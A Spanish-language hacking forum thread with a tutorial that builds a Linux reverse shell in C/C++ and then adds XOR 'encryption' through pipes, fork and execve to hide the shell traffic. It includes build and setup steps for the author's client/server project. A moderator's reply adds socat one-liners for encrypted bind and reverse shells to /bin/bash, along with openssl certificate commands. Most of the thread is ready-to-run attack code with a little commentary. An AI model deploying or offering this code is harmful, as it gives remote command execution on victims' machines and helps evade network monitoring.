Shell Inversa "Cifrada"

  • 5 Respuestas
  • 832 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado d3adly

  • *
  • Colaborador
  • *
  • Mensajes: 90
  • Actividad:
    100%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 12:18:09 am
Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas Linux, aunque pienso hacer una segunda parte para Windows.

Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork       You are not allowed to view links. Register or Login - mas adelante se vera aplicado
dup2     You are not allowed to view links. Register or Login
execve You are not allowed to view links. Register or Login

fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (Process ID).
dup2: Los parametros de esta funcion son 2 dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo newfd sea una copia de oldf.
execve: Recibe tres parametros execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar, char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,Data, Bss y el Stack del proceso el cual llama la funcion. You are not allowed to view links. Register or Login

Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
Código: C
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <netinet/in.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6.  
  7. #define REMOTE_ADDR "127.0.0.1"
  8. #define REMOTE_PORT 1337
  9.  
  10. int main(int argc, char *argv[])
  11. {
  12.     struct sockaddr_in server;
  13.     int socket;
  14.  
  15.     server.sin_family = AF_INET;
  16.     server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
  17.     server.sin_port = htons(REMOTE_PORT);
  18.  
  19.     socket = socket(AF_INET, SOCK_STREAM, 0);
  20.     connect(socket, (struct sockaddr *)&server, sizeof(server));
  21.     dup2(socket, 0);
  22.     dup2(socket, 1);
  23.     dup2(socket, 2);
  24.  
  25.     execve("/bin/sh", 0, 0);
  26.     return 0;
  27. }

Justo en la linea 21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion dup2 antes descrita. Realiza una copia del socket a tres descriptores de archivo distintos: 0 1 y 2 que son:
0: stdin    - Standard Input:      Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1: stdout - Standard Output:  Descriptor usado por el proceso para mostrar información al usuario.
2: stderr  - Standard Error:      Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del socket, lo que reciba el socket sera escrito directamente a stdin, y todo lo que salga de stdout y stderr sera escrito al socket.

Despues se llama a la funcion execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario /bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos stdout/stderr seran escritas al socket gracias a las llamadas de la funcion dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
Código: You are not allowed to view links. Register or Login
$ nclokita -lp PUERTO.

Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los pipes (tuberias).
Los pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
Código: You are not allowed to view links. Register or Login
$ cat file.txt | wc -l El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo file.txt, nota el | en medio de de file.txt y wc, esto indica al comando cat que todo lo que vaya a escribir a stdout lo redirija a el stdin de wc.

Ahora el funcionamiento de la shell inversa "cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:
  • Leer datos del socket
  • Descifrar los datos
  • Escribir la informacion al stdin del programa
  • Leer del stdout/stderr la salida del comando antes ejecutado
  • Cifrar los datos leidos
  • Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de pipes antes lijeramente explicados, haciendo uso de la funcion pipe You are not allowed to view links. Register or Login. Un pipe tiene dos partes
  • Punto de lectura READ-END
  • Punto de escritura WRITE-END
                             

Y observando el ejemplo que nos provee die.net, podemos observar el uso de fork junto con pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.

Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
Código: C++
  1. int InPipe[2];
  2. int OutPipe[2];
  3. pipe(InPipe);
  4. pipe(OutPipe)
  5. //Si hay error las funciones retornan -1
Una vez creadas las tuberias se procede a realizar un fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso /bin/sh
Código: C++
  1. pid_t pid = fork();
  2. if(pid == 0){
  3.    //Este es el hijo (child) del proceso que se esta ejecutando
  4.    //el cual a su vez es una copia exacta del proceso excepto el Process ID
  5. } else if(pid > 0) {
  6.    //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
  7. } else {
  8.    //Si fork no es >= 0 entonces la llamada fallo
  9. }

Ahora en la seccion del proceso hijo realizaremos lo siguiente:
Código: C++
  1. //Copiamos a stdin el extremo READ-END de InPipe
  2. dup2(InPipe[0], 0);
  3.  
  4. //Copiamos a stdout el extremo WRITE-END de OutPipe
  5. dup2(OutPipe[1], 1);
  6.  
  7. //Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
  8. dup2(OutPipe[1], 2);
  9.  
Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero stdin/stdout/stderr, sean atravez de los pipes respectivamente:
  • Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
  • Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
Código: C++
  1. //Se llama la funcion execve con los parametros deseados
  2. //Si quisieramos pasar argumentos al programa se hacen en el array arg
  3. //Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
  4. char *arg[] = {nullptr};
  5. char *env[] = {nullptr};
  6. //Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
  7. execve("/bin/sh", arg, env);
  8. exit(0);

Ahora en la seccion del proceso padre crearemos un thread (hilo) para leer el stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
Código: C++
  1. //Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
  2. //el cual es el extremo que lee del proceso antes ejecutado
  3. std::thread th1(LeerStdout, OutPipe[0]);
  4. int iBytes = 0;
  5. char CmdBuffer[1025]; //para mega comandos larguisimos juaker
  6. while(1){
  7.    //recibimos los datos del servidor
  8.    iBytes = recv(Socket, CmdBuffer, 1024, 0);
  9.    if(iBytes > 0){
  10.       CmdBuffer[iBytes] = '\0';
  11.       //escribimos al extremo WRITE-END de InPipe
  12.       write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
  13.    }
  14. }
  15. th1.join();
Luego la funcion LeerStdout:
Código: C++
  1. void LeerStdout(int Pipe){
  2.    chad CmdBuffer[256];
  3.    int iRet = 0, iRet2 = 0;
  4.    while(1){
  5.       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
  6.       iRet = read(Pipe, &CmdBuffer, 255);
  7.       //Enviamos los datos leidos de stdout/stderr al servidor
  8.       iRet2 = send(Socket, CmdBufer, iRet);
  9.    }
  10. }
Con esto se concluye el codigo basico sin "cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
Código: C++
  1. //Funcion de cifrado XOR
  2. std::string XOR(const std::string Data, const std::string Password){
  3.    std::string Final = "";
  4.    for(char cD : Data){
  5.       for(char cS : Password){
  6.          cD ^= cS;
  7.       }
  8.       Final.append(1, cD);
  9.    }
  10.    return Final;
  11. }
El codigo del proceso padre:
Código: C++
  1. std::thread th1(LeerStdout, OutPipe[0]);
  2. int iBytes = 0;
  3. char CmdBuffer[1025]; //para mega comandos larguisimos juaker
  4. while(1){
  5.    //recibimos los datos cifrados del servidor
  6.    iBytes = recv(Socket, CmdBuffer, 1024, 0);
  7.    if(iBytes > 0){
  8.       CmdBuffer[iBytes] = '\0';
  9.       std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
  10.       //Ahora descifrado contiene el comando descifrado que envio el servidor
  11.       //escribimos al extremo WRITE-END de InPipe el contenido descifrado
  12.       write(InPipe[1], Descifrado.c_str(), Descifrado.length());
  13.    }
  14. }
  15. th1.join();
El codigo de la funcion que lee el stdout/stderr del proceso hijo:
Código: C++
  1. void LeerStdout(int Pipe){
  2.    chad CmdBuffer[256];    
  3.    int iRet = 0, iRet2 = 0;
  4.     while(1){
  5.        //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
  6.        iRet = read(Pipe, &CmdBuffer, 255);
  7.        std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
  8.        //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
  9.        //Enviamos los datos cifrados leidos de stdout/stderr al servidor
  10.        iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
  11.     }
  12.  }

Esa seria la implementación de pipes junto con fork y execve para obetener una shell inversa "cifrada". Les dejo mi proyecto en github You are not allowed to view links. Register or Login

Ahora un mini tutorial usando mi codigo de github  ;D:
Clonar repo
Código: You are not allowed to view links. Register or Login
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git
Abrir el archivo Client.cpp y modificar el valor de la variable strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion main con la ip y puerto hacia los cuales se conectara el cliente.
Código: C++
  1. Cli->Connect("IP", "PUERTO")
Abrir el archivo Server.cpp y modificar la funcion main cambiando el puerto de esucha y clave a usar en la comunicación
Código: C++
  1. Server *Srv = new Server(1337, "aiiiuuudaaaaa");
Y compilar con:
Código: You are not allowed to view links. Register or Login
g++ -Wall -Wextra Client.cpp -o Client -pthread
Código: You are not allowed to view links. Register or Login
g++ -Wall -Wextra Server.cpp -o Server -pthreadEso es todo espero hayan aprendido algo nuevo y le den un buen uso.

Saludos.
« Última modificación: Junio 03, 2020, 03:26:18 am por d3adly »
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Desconectado Kirari

  • *
  • Moderator
  • Mensajes: 191
  • Actividad:
    100%
  • Country: ru
  • Reputación 11
  • No dejes que el mundo te corrompa
    • Ver Perfil
    • Baúl para el público

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 01:23:45 am
Uhh muy buen post compañero, sigue asì  :D :D

Saludos!
-Kirari
Jamás te contarán la verdadera versión, siempre te dirán la suya... Por eso... Si quieres saber la verdad, debes buscarla tú mismo...

Desconectado d3adly

  • *
  • Colaborador
  • *
  • Mensajes: 90
  • Actividad:
    100%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 01:52:29 am
Gracias @You are not allowed to view links. Register or Login  ;D
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Desconectado animanegra

  • *
  • Moderador
  • Mensajes: 286
  • Actividad:
    93.33%
  • Country: 00
  • Reputación 10
    • Ver Perfil

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 09:09:21 am
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.

Shell directa:
Código: You are not allowed to view links. Register or Login
socat OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt EXEC:/bin/bash
Código: You are not allowed to view links. Register or Login
socat stdio OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0

Shell inversa:
Código: You are not allowed to view links. Register or Login
socat OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0  EXEC:/bin/bash
Código: You are not allowed to view links. Register or Login
socat stdio OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt

El certificado se puede hacer con openssl:

Código: You are not allowed to view links. Register or Login
openssl genrsa -out /tmp/mykey.key 1024
openssl req -new -key /tmp/mykey.key -x509 -days 3653 -out /tmp/mykey.crt

cat /tmp/mykey.key /tmp/mykey.crt > /tmp/key.pem

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Conectado DtxdF

  • *
  • Moderador Global
  • Mensajes: 778
  • Actividad:
    100%
  • Reputación 16
  • Eres un auto y tienes dos opciones: Parar o Seguir
    • Ver Perfil
    • Mi repositorio de Github donde encontraras herramientas para tu trabajo.
    • Email

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 09:48:43 am
Excelente @You are not allowed to view links. Register or Login, muy buenos post's, y como siempre, son un placer leerlos  8)

~ DtxdF
Los seres humanos son robots, cuyo combustible es el afanado dinero.

Desconectado d3adly

  • *
  • Colaborador
  • *
  • Mensajes: 90
  • Actividad:
    100%
  • Country: 00
  • Reputación 5
    • Ver Perfil
    • sh1tty c0d3
    • Email

Re:Shell Inversa "Cifrada"

  • en: Junio 03, 2020, 02:18:19 pm
You are not allowed to view links. Register or Login
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.
Gracias por la informacion @You are not allowed to view links. Register or Login.

You are not allowed to view links. Register or Login
Excelente @You are not allowed to view links. Register or Login, muy buenos post's, y como siempre, son un placer leerlos  8)
@You are not allowed to view links. Register or Login Me alegra que te gusten .
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

 

Conexion Cliente Servidor [Tool t3c4i3`s Remote Access Shell]

Iniciado por Progresive Death

Respuestas: 1
Vistas: 3342
Último mensaje Mayo 13, 2011, 02:35:37 pm
por schegell cernunnos
Subiendo Shell desde el Panel de Administracion con Upload de Imagenes

Iniciado por ZanGetsu

Respuestas: 13
Vistas: 9923
Último mensaje Octubre 14, 2013, 10:42:26 pm
por Devilboy
¿El administrador no te deja controlar tu shell via Internet? hazlo desde SMS...

Iniciado por DtxdF

Respuestas: 0
Vistas: 256
Último mensaje Junio 24, 2020, 03:00:46 pm
por DtxdF
Usando módulos auxiliarys SSH (SECURE SHELL) [1,2] Parte

Iniciado por OswireW0rding

Respuestas: 2
Vistas: 3489
Último mensaje Marzo 12, 2014, 04:33:49 pm
por OswireW0rding
XLSInjector – Inyectar Shell Meterpreter en Archivos Excel

Iniciado por Stuxnet

Respuestas: 4
Vistas: 4566
Último mensaje Noviembre 19, 2014, 07:13:03 pm
por baron.power